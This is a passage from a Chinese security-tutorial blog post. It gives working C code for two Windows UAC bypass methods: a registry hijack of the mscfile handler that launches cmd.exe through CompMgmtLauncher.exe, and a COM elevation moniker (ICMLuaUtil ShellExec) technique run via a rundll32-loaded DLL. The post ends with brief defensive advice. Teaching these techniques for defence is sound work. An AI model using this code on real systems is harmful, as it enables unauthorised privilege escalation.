<span style="color:#669900">"Software\\Classes\\mscfile\\Shell\\Open\\Command"</span><span style="color:#999999">,</span>
<span style="color:#98c379">0</span><span style="color:#999999">,</span> <span style="color:#98c379">NULL</span><span style="color:#999999">,</span> <span style="color:#98c379">0</span><span style="color:#999999">,</span> KEY_WOW64_64KEY <span style="color:#669900">|</span> KEY_ALL_ACCESS<span style="color:#999999">,</span> <span style="color:#98c379">NULL</span><span style="color:#999999">,</span> <span style="color:#669900">&</span>hKey<span style="color:#999999">,</span> <span style="color:#98c379">NULL</span><span style="color:#999999">)</span><span style="color:#999999">;</span>

    <span style="color:#c678dd">if</span> <span style="color:#999999">(</span><span style="color:#98c379">NULL</span> <span style="color:#669900">==</span> hKey<span style="color:#999999">)</span> <span style="color:#999999">{</span>
    	<span style="color:#61aeee">ShowError</span><span style="color:#999999">(</span><span style="color:#669900">"RegCreateKeyEx"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">return</span> FALSE<span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    <span style="color:#5c6370">//设置键值</span>
    <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">RegSetValueEx</span><span style="color:#999999">(</span>hKey<span style="color:#999999">,</span> <span style="color:#98c379">NULL</span><span style="color:#999999">,</span> <span style="color:#98c379">0</span><span style="color:#999999">,</span> REG_SZ<span style="color:#999999">,</span> <span style="color:#999999">(</span>BYTE<span style="color:#669900">*</span><span style="color:#999999">)</span>lpszExePath<span style="color:#999999">,</span> <span style="color:#999999">(</span><span style="color:#98c379">1</span> <span style="color:#669900">+</span> <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">lstrlen</span><span style="color:#999999">(</span>lpszExePath<span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#5c6370">//关闭注册表</span>
    <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">RegCloseKey</span><span style="color:#999999">(</span>hKey<span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#c678dd">return</span> TRUE<span style="color:#999999">;</span>

<span style="color:#999999">}</span>

<span style="color:#5c6370">//主函数</span>
<span style="color:#c678dd">int</span> <span style="color:#61aeee">main</span><span style="color:#999999">(</span><span style="color:#c678dd">int</span> argc<span style="color:#999999">,</span> <span style="color:#c678dd">char</span><span style="color:#669900">*</span> argv<span style="color:#999999">[</span><span style="color:#999999">]</span><span style="color:#999999">)</span>
<span style="color:#999999">{</span>
BOOL bRet <span style="color:#669900">=</span> FALSE<span style="color:#999999">;</span>
PVOID OldValue <span style="color:#669900">=</span> <span style="color:#98c379">NULL</span><span style="color:#999999">;</span>

    <span style="color:#5c6370">// 关闭文件重定位</span>
    <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">Wow64DisableWow64FsRedirection</span><span style="color:#999999">(</span><span style="color:#669900">&</span>OldValue<span style="color:#999999">)</span><span style="color:#999999">;</span>

    <span style="color:#5c6370">// 修改注册表</span>
    bRet <span style="color:#669900">=</span> <span style="color:#61aeee">SetReg</span><span style="color:#999999">(</span><span style="color:#669900">"C:\\Windows\\System32\\cmd.exe"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#c678dd">if</span> <span style="color:#999999">(</span>bRet<span style="color:#999999">)</span> <span style="color:#999999">{</span>
    	<span style="color:#5c6370">// 运行 CompMgmtLauncher.exe</span>
    	<span style="color:#61aeee">system</span><span style="color:#999999">(</span><span style="color:#669900">"CompMgmtLauncher.exe"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#61aeee">printf</span><span style="color:#999999">(</span><span style="color:#669900">"Run OK!\n"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
    <span style="color:#c678dd">else</span> <span style="color:#999999">{</span>
    	<span style="color:#61aeee">printf</span><span style="color:#999999">(</span><span style="color:#669900">"Run ERROR!\n"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#999999">}</span>

    <span style="color:#5c6370">// 恢复文件重定位</span>
    <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">Wow64RevertWow64FsRedirection</span><span style="color:#999999">(</span>OldValue<span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#61aeee">system</span><span style="color:#999999">(</span><span style="color:#669900">"pause"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#c678dd">return</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>

<span style="color:#999999">}</span>
</code></span>

输出结果如下图所示,360 成功识别在劫持程序,点击允许后及弹出对应的计算机管理 CMD。

https://i-blog.csdnimg.cn/blog_migrate/5af3f4a7025a355dd5bf2f8b1de2aa59.png#pic_center

该程序成功利用白名单程序实现了 Bypass UAC 提权操作,并向注册表中写入 cmd 程序并启动,其实这也算一种利用白名单的程序劫持,最终效果如下图所示。

https://i-blog.csdnimg.cn/blog_migrate/79a43c723baee2d0d7bb08dd4fdec8a4.png#pic_center


2.基于 COM 组件接口的 Bypass UAC

COM 提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序,以提升权限的方法来激活 COM 类,最终提升 COM 接口权限。其中,ICMLuaUtil 接口提供了 ShellExec 方法来执行命令,创建指定进程。所以,接下来介绍的基于 ICMLuaUtil 接口的 Bypass UAC 的实现原理,它是利用 COM 提升名称来对 ICMLuaUtil 接口提权,提权后通过调用 ShellExec 方法来创建指定进程,实现 Bypass UAC 操作。

使用权限提升 COM 类的程序必须调通过用 CoCreateInstanceAsAdmin 函数来创建 COM 类,COM 提升名称具体的实现代码如下:

<span style="color:#000000"><code class="language-c">HRESULT <span style="color:#61aeee">CoCreateInstanceAsAdmin</span><span style="color:#999999">(</span>HWND hWnd<span style="color:#999999">,</span> REFCLSID rclsid<span style="color:#999999">,</span> REFIID riid<span style="color:#999999">,</span> PVOID <span style="color:#669900">_</span>ppVoid<span style="color:#999999">)</span>
<span style="color:#999999">{</span>
BIND_OPTS3 bo<span style="color:#999999">;</span>
WCHAR wszCLSID<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
WCHAR wszMonikerName<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
HRESULT hr <span style="color:#669900">=</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>
<span style="color:#5c6370">// 初始化 COM 环境</span>
<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">CoInitialize</span><span style="color:#999999">(</span><span style="color:#98c379">NULL</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#5c6370">// 构造字符串</span>
<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">StringFromGUID2</span><span style="color:#999999">(</span>rclsid<span style="color:#999999">,</span> wszCLSID<span style="color:#999999">,</span> <span style="color:#999999">(</span><span style="color:#c678dd">sizeof</span><span style="color:#999999">(</span>wszCLSID<span style="color:#999999">)</span> <span style="color:#669900">/</span> <span style="color:#c678dd">sizeof</span><span style="color:#999999">(</span>wszCLSID<span style="color:#999999">[</span><span style="color:#98c379">0</span><span style="color:#999999">]</span><span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
hr <span style="color:#669900">=</span> <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">StringCchPrintfW</span><span style="color:#999999">(</span>wszMonikerName<span style="color:#999999">,</span> <span style="color:#999999">(</span><span style="color:#c678dd">sizeof</span><span style="color:#999999">(</span>wszMonikerName<span style="color:#999999">)</span> <span style="color:#669900">/</span> <span style="color:#c678dd">sizeof</span><span style="color:#999999">(</span>wszMonikerName<span style="color:#999999">[</span><span style="color:#98c379">0</span><span style="color:#999999">]</span><span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">,</span> L<span style="color:#669900">"Elevation:Administrator!new:%s"</span><span style="color:#999999">,</span> wszCLSID<span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#c678dd">if</span> <span style="color:#999999">(</span><span style="color:#61aeee">FAILED</span><span style="color:#999999">(</span>hr<span style="color:#999999">)</span><span style="color:#999999">)</span>
<span style="color:#999999">{</span>
<span style="color:#c678dd">return</span> hr<span style="color:#999999">;</span>
<span style="color:#999999">}</span>
<span style="color:#5c6370">// 设置 BIND_OPTS3</span>
<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">RtlZeroMemory</span><span style="color:#999999">(</span><span style="color:#669900">&</span>bo<span style="color:#999999">,</span> <span style="color:#c678dd">sizeof</span><span style="color:#999999">(</span>bo<span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
bo<span style="color:#999999">.</span>cbStruct <span style="color:#669900">=</span> <span style="color:#c678dd">sizeof</span><span style="color:#999999">(</span>bo<span style="color:#999999">)</span><span style="color:#999999">;</span>
bo<span style="color:#999999">.</span>hwnd <span style="color:#669900">=</span> hWnd<span style="color:#999999">;</span>
bo<span style="color:#999999">.</span>dwClassContext <span style="color:#669900">=</span> CLSCTX_LOCAL_SERVER<span style="color:#999999">;</span>
<span style="color:#5c6370">// 创建名称对象并获取 COM 对象</span>
hr <span style="color:#669900">=</span> <span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">CoGetObject</span><span style="color:#999999">(</span>wszMonikerName<span style="color:#999999">,</span> <span style="color:#669900">&</span>bo<span style="color:#999999">,</span> riid<span style="color:#999999">,</span> ppVoid<span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#c678dd">return</span> hr<span style="color:#999999">;</span>
<span style="color:#999999">}</span>
</code></span>

执行上述代码,即可创建并激活提升权限的 COM 类。ICMLuaUtil 接口通过上述方法创建后,直接调用 ShellExec 方法创建指定进程,完成 Bypass UAC 的操作。基于 ICMLuaUtil 接口 Bypass UAC 的具体实现代码如下所示:

<span style="color:#000000"><code class="language-c">BOOL <span style="color:#61aeee">CMLuaUtilBypassUAC</span><span style="color:#999999">(</span>LPWSTR lpwszExecutable<span style="color:#999999">)</span>
<span style="color:#999999">{</span>
HRESULT hr <span style="color:#669900">=</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>
CLSID clsidICMLuaUtil <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
IID iidICMLuaUtil <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
ICMLuaUtil <span style="color:#669900">_</span>CMLuaUtil <span style="color:#669900">=</span> <span style="color:#98c379">NULL</span><span style="color:#999999">;</span>
BOOL bRet <span style="color:#669900">=</span> FALSE<span style="color:#999999">;</span>

    <span style="color:#c678dd">do</span> <span style="color:#999999">{</span>
    	<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">CLSIDFromString</span><span style="color:#999999">(</span>CLSID_CMSTPLUA<span style="color:#999999">,</span> <span style="color:#669900">&</span>clsidICMLuaUtil<span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">IIDFromString</span><span style="color:#999999">(</span>IID_ICMLuaUtil<span style="color:#999999">,</span> <span style="color:#669900">&</span>iidICMLuaUtil<span style="color:#999999">)</span><span style="color:#999999">;</span>

    	<span style="color:#5c6370">// 提权</span>
    	hr <span style="color:#669900">=</span> <span style="color:#61aeee">CoCreateInstanceAsAdmin</span><span style="color:#999999">(</span><span style="color:#98c379">NULL</span><span style="color:#999999">,</span> clsidICMLuaUtil<span style="color:#999999">,</span> iidICMLuaUtil<span style="color:#999999">,</span> <span style="color:#999999">(</span>PVOID<span style="color:#669900">*</span><span style="color:#999999">)</span><span style="color:#999999">(</span><span style="color:#669900">&</span>CMLuaUtil<span style="color:#999999">)</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">if</span> <span style="color:#999999">(</span><span style="color:#61aeee">FAILED</span><span style="color:#999999">(</span>hr<span style="color:#999999">)</span><span style="color:#999999">)</span>
    	<span style="color:#999999">{</span>
    		<span style="color:#c678dd">break</span><span style="color:#999999">;</span>
    	<span style="color:#999999">}</span>

    	<span style="color:#5c6370">// 启动程序</span>
    	hr <span style="color:#669900">=</span> CMLuaUtil<span style="color:#669900">-></span>lpVtbl<span style="color:#669900">-></span><span style="color:#61aeee">ShellExec</span><span style="color:#999999">(</span>CMLuaUtil<span style="color:#999999">,</span> lpwszExecutable<span style="color:#999999">,</span> <span style="color:#98c379">NULL</span><span style="color:#999999">,</span> <span style="color:#98c379">NULL</span><span style="color:#999999">,</span> <span style="color:#98c379">0</span><span style="color:#999999">,</span> SW_SHOW<span style="color:#999999">)</span><span style="color:#999999">;</span>
    	<span style="color:#c678dd">if</span> <span style="color:#999999">(</span><span style="color:#61aeee">FAILED</span><span style="color:#999999">(</span>hr<span style="color:#999999">)</span><span style="color:#999999">)</span>
    	<span style="color:#999999">{</span>
    		<span style="color:#c678dd">break</span><span style="color:#999999">;</span>
    	<span style="color:#999999">}</span>

    	bRet <span style="color:#669900">=</span> TRUE<span style="color:#999999">;</span>
    <span style="color:#999999">}</span><span style="color:#c678dd">while</span><span style="color:#999999">(</span>FALSE<span style="color:#999999">)</span><span style="color:#999999">;</span>

    <span style="color:#5c6370">// 释放</span>
    <span style="color:#c678dd">if</span> <span style="color:#999999">(</span>CMLuaUtil<span style="color:#999999">)</span>
    <span style="color:#999999">{</span>
    	CMLuaUtil<span style="color:#669900">-></span>lpVtbl<span style="color:#669900">-></span><span style="color:#61aeee">Release</span><span style="color:#999999">(</span>CMLuaUtil<span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#999999">}</span>

    <span style="color:#c678dd">return</span> bRet<span style="color:#999999">;</span>

<span style="color:#999999">}</span>
</code></span>

要注意的是,如果执行 COM 提升名称(COM Elevation Moniker)代码的程序身份是不可信的,则会触发 UAC 弹窗;若可信,则不会触发 UAC 弹窗。所以,要想 Bypass UAC,则需要想办法让这段代码在 Windows 的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe 等。

因此可以通过 DLL 注入或是劫持等技术,将这段代码注入到这些可信程序的进程空间中执行。其中,最简单的莫过于直接通过 rundll32.exe 来加载 DLL,执行 COM 提升名称的代码。利用 rundll32.exe 来调用自定义 DLL 中的导出函数,导出函数的参数和返回值是有特殊规定的,必须是如下形式。

<span style="color:#000000"><code class="language-c"><span style="color:#5c6370">// 导出函数给 rundll32.exe 调用执行</span>
<span style="color:#c678dd">void</span> CALLBACK <span style="color:#61aeee">BypassUAC</span><span style="color:#999999">(</span>HWND hWnd<span style="color:#999999">,</span> HINSTANCE hInstance<span style="color:#999999">,</span> LPSTR lpszCmdLine<span style="color:#999999">,</span> <span style="color:#c678dd">int</span> iCmdShow<span style="color:#999999">)</span>
</code></span>

将上述 Bypass UAC 的代码写在 DLL 的项目工程中,同时开发 Test 控制台项目工程,负责并将 BypassUAC 函数导出给 rundll32.exe 程序调用,完成 Bypass UAC 工作。

Test 代码如下:

<span style="color:#000000"><code class="language-c"><span style="color:#98c379">#<span style="color:#c678dd">include</span> <span style="color:#669900">"stdafx.h"</span></span>
<span style="color:#98c379">#<span style="color:#c678dd">include</span> <span style="color:#669900"><Windows.h></span></span>

<span style="color:#c678dd">int</span> <span style="color:#61aeee">_tmain</span><span style="color:#999999">(</span><span style="color:#c678dd">int</span> argc<span style="color:#999999">,</span> _TCHAR<span style="color:#669900">*</span> argv<span style="color:#999999">[</span><span style="color:#999999">]</span><span style="color:#999999">)</span>
<span style="color:#999999">{</span>
<span style="color:#c678dd">char</span> szCmdLine<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#999999">{</span> <span style="color:#98c379">0</span> <span style="color:#999999">}</span><span style="color:#999999">;</span>
<span style="color:#c678dd">char</span> szRundll32Path<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#669900">"C:\\Windows\\System32\\rundll32.exe"</span><span style="color:#999999">;</span>
<span style="color:#c678dd">char</span> szDllPath<span style="color:#999999">[</span>MAX_PATH<span style="color:#999999">]</span> <span style="color:#669900">=</span> <span style="color:#669900">"C:\\Users\\DemonGan\\Desktop\\BypassUAC2_Test\\Debug\\BypassUAC2_Test.dll"</span><span style="color:#999999">;</span>
<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">sprintf_s</span><span style="color:#999999">(</span>szCmdLine<span style="color:#999999">,</span> <span style="color:#669900">"%s \"%s\" %s"</span><span style="color:#999999">,</span> szRundll32Path<span style="color:#999999">,</span> szDllPath<span style="color:#999999">,</span> <span style="color:#669900">"BypassUAC"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#999999">:</span><span style="color:#999999">:</span><span style="color:#61aeee">WinExec</span><span style="color:#999999">(</span>szCmdLine<span style="color:#999999">,</span> SW_HIDE<span style="color:#999999">)</span><span style="color:#999999">;</span>

    <span style="color:#61aeee">printf</span><span style="color:#999999">(</span><span style="color:#669900">"Run OK.\n"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#61aeee">system</span><span style="color:#999999">(</span><span style="color:#669900">"pause"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#c678dd">return</span> <span style="color:#98c379">0</span><span style="color:#999999">;</span>

<span style="color:#999999">}</span>
</code></span>

https://i-blog.csdnimg.cn/blog_migrate/54e5651591934a24c5e6b02a9b5bb304.png#pic_center

Bypass UAC 启动的是 cmd.exe 程序,所以,直接运行 Test.exe 即可看到 cmd.exe 命令行窗口,而且窗口标题有管理员字样,运行结果如下图所示。

https://i-blog.csdnimg.cn/blog_migrate/52b45e6696e965391fd8c9864aa561b4.png#pic_center


三.总结

写到这里,这篇文章就介绍完毕,希望对您有所帮助,最后进行简单的总结下,本文讲解了进程访问令牌权限提升和 Bypass UAC(白名单和 COM 组件)。其实,Bypass UAC 的方法有很多,对于不同的 Bypass UAC 方法,具体的实现过程不太一样,需要我们不断去摸索。同时,随着操作系统不断升级更新,Bypass UAC 技术可能不再适应(被打补丁),但也会有新的方法出现,大家可以去 github 上关注 UACME 开源项目。

最后补充防止 Bypass UAC 的方法:

  • 不要给普通用户设置管理员权限
  • 在“更改用户账户控制设置”中,将用户账户控制(UAC)设置为“始终通知”

注意,不要觉得这些技术代码实现容易就简单,很多木马、病毒、APT 攻击都用到了它们,不要小瞧任何一个技术,只有把这些技术组合起来威胁更大。同样,作为反病毒或安全分析人员,我们需要了解各种技术,只有知道怎么攻击和原理才能更好地防守。

学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。

(By:Eastmount 2020-09-12 星期一 晚上 11 点写于武汉 )


2020 年 8 月 18 新开的“娜璋 AI 安全之家”,主要围绕 Python 大数据分析、网络空间安全、人工智能、Web 渗透及攻防技术进行讲解,同时分享 CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解 Python 和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。

https://i-blog.csdnimg.cn/blog_migrate/3bb590ece0869f1a93886db98efe6ca9.png#pic_center

参考文献:

[1]《Windows 黑客编程技术详解》甘迪文老师

[2]

[3]

[4]

[5]